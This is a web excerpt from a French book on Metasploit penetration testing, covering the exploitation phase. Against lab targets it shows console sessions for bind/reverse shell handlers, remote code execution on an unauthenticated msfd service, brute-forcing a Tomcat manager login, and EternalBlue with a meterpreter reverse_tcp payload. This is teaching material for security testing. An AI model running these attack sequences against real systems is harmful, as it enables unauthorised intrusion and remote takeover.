Blog ENI : Toute la veille numérique !
🐠 -25€ dès 75€ 
+ 7 jours d'accès à la Bibliothèque Numérique ENI. Cliquez ici
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
  1. Livres et vidéos
  2. Metasploit
  3. La phase d'exploitation
Extrait - Metasploit Testez la sécurité de vos infrastructures (2e edition)
Extraits du livre
Metasploit Testez la sécurité de vos infrastructures (2e edition)
1 avis
Revenir à la page d'achat du livre

La phase d'exploitation

Choix des modules à utiliser

Une fois la phase de reconnaissance effectuée, il devient alors possible d’y voir plus clair quant aux exploits ou auxiliaires qu’il est possible d’utiliser pour aller plus loin dans la phase d’exploitation. Alors que tous les auxiliaires disposent d’une notation (Rank) à normal, la notation des exploits peut changer :

msf6 > show exploits  
 
Exploits  
========  
Name                                                 Rank 
----                                                 ---- 
aix/local/ibstat_path                                excellent 
aix/rpc_cmsd_opcode21                                great ...

Préparation de la phase d’exploitation

En introduction, une notion importante a été abordée : les shells de type bind et de type reverse :

  • Dans le cas des shells de type bind, la connexion est initiée depuis la machine de l’attaquant vers celle de la cible en spécifiant l’adresse IP ainsi que le service en écoute.

  • Dans le cas des shells de type reverse, la connexion est cette fois-ci initiée depuis la machine cible en direction de l’attaquant.

Dans le deuxième cas de figure, il est alors nécessaire de mettre en place un procédé permettant à l’attaquant d’interpréter cette connexion initiée par la cible. Pour cela, et comme évoqué au chapitre Premiers pas avec Metasploit, à la section Les interfaces - Le système de fichiers, la mise en place d’un handler est alors nécessaire.

Ce module est un exploit générique permettant de créer un service en écoute sur la machine de l’attaquant. De ce fait, la machine de l’attaquant ainsi que la machine cible pourront alors communiquer.

Afin de configurer ce module, il est simplement nécessaire de spécifier l’adresse d’écoute (LHOST), le port d’écoute (LPORT) ainsi que le payload utilisé. Celui-ci doit être exactement le même qu’indiqué...

Exploitation de Metasploit par Metasploit

Chose promise, chose due ! Au chapitre Premiers pas avec Metasploit à la section Les interfaces, nous avons abordé Msfd et les problèmes de sécurité y étant liés.

Le lancement du service se fait de la manière suivante :

root@kali:~# msfd -a 0.0.0.0 
[*] Initializing msfd... 
[*] Running msfd... 

Sur la machine de l’attaquant, il est possible de vérifier la présence de ce port grâce à un scan de ports classique :

root@kali:~# nmap -p 55554 192.168.171.144 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-28 19:29 CET 
Nmap scan report for 192.168.171.144 
Host is up (0.000050s latency). 
 
PORT      STATE SERVICE 
55554/tcp open  unknown  
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds 

Dès lors, il est possible d’utiliser l’un des exploits précisés précédemment afin de prendre le contrôle de la machine distante grâce à l’absence d’authentification :

msf6 > use exploit/multi/misc/msfd_rce_remote 
msf6 exploit(multi/misc/msfd_rce_remote) >show options 
 
Module options (exploit/multi/misc/msfd_rce_remote): 
 
  Name    Current Setting  Required  Description 
  ----    ---------------  --------  ----------- ...

Exploitation de Metasploitable par Metasploit

Comme précisé en introduction, Metasploitable2 et Metasploitable3 sont des systèmes d’exploitation contenant de nombreuses vulnérabilités à exploiter dans un cadre d’entraînement. L’objectif de cet ouvrage n’est pas de présenter l’ensemble des exploits dont dispose le framework Metasploit ni de donner l’ensemble des méthodologies pour exploiter ces machines d’entraînement. Néanmoins, leur utilisation permet d’avoir une approche pédagogique et simple à mettre en place. Ainsi, l’exploitation de certains services fréquemment rencontrés durant les tests d’intrusion est mise avant.

1. Apache Tomcat

Apache Tomcat est un conteneur web de servlets et JSP contenant également un serveur HTTP fréquemment rencontré au sein des entreprises.

Dans ce cas de figure, le port du service n’est pas spécifié, car ce dernier peut se trouver sur de très nombreux ports (80, 8080, 8180, etc.) :

msf6 > services -S Apache  
Services  
========  
 
host           port  proto  name  state  info  
----           ----  -----  ----  -----  ----  
172.16.64.130  8180  tcp    http  open   Apache Tomcat/Coyote JSP 

L’accès direct à l’URL ne laisse planer aucun doute sur l’utilisation d’un serveur Apache Tomcat :

images/09EP01.png

Néanmoins, en l’état, la page d’authentification est protégée par une authentification basique :

images/09EP02.png

Le module auxiliary/scanner/http/tomcat_mgr_login permet de réaliser une attaque par dictionnaire ou par brute force sur la mire d’authentification. De plus, le dictionnaire spécifié de base contient l’ensemble des identifiants/mots de passe par défaut :

msf6 > use auxiliary/scanner/http/tomcat_mgr_login 
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 172.16.64.130 
RHOSTS => 172.16.64.130 
 
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180 
RPORT => 8180 
 
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit 
[...]  
[-] 172.16.64.130:8180 - LOGIN FAILED:...

Exemple d’exploitation d’un Windows

1. SMB (445/TCP)

Quel que soit le système d’exploitation sous-jacent, SMB est un protocole de partage de fichiers en réseau pouvant écouter sur le port 139/TCP ou 445/TCP.

En 2017, le groupe de hackers The Shadow Brokers publiait un exploit affectant la version 1 du protocole SMB (SMBv1). Cet exploit, initialement développé par la NSA (National SecurityAgency), a entre autres permis au ransomware Wannacry d’avoir une ampleur aussi importante grâce à l’exploitation de la faille MS17-010. Comme toute vulnérabilité à l’heure actuelle, cette dernière dispose d’un joli nom : EternalBlue.

msf > use exploit/windows/smb/ms17_010_eternalblue 
msf exploit(windows/smb/ms17_010_eternalblue) > set payload 
windows/x64/meterpreter/reverse_tcp 
payload => windows/x64/meterpreter/reverse_tcp 
 
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 172.16.86.134 
LHOST => 172.16.86.134 
 
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 172.16.86.110 
RHOST => 172.16.86.110 
 
msf exploit(windows/smb/ms17_010_eternalblue) > exploit 
 
[*] Started reverse TCP handler on 172.16.86.134:4444 
[*] 172.16.86.110:445 - Connecting to target for exploitation. 
[+] 172.16.86.110:445 - Connection established for exploitation. ...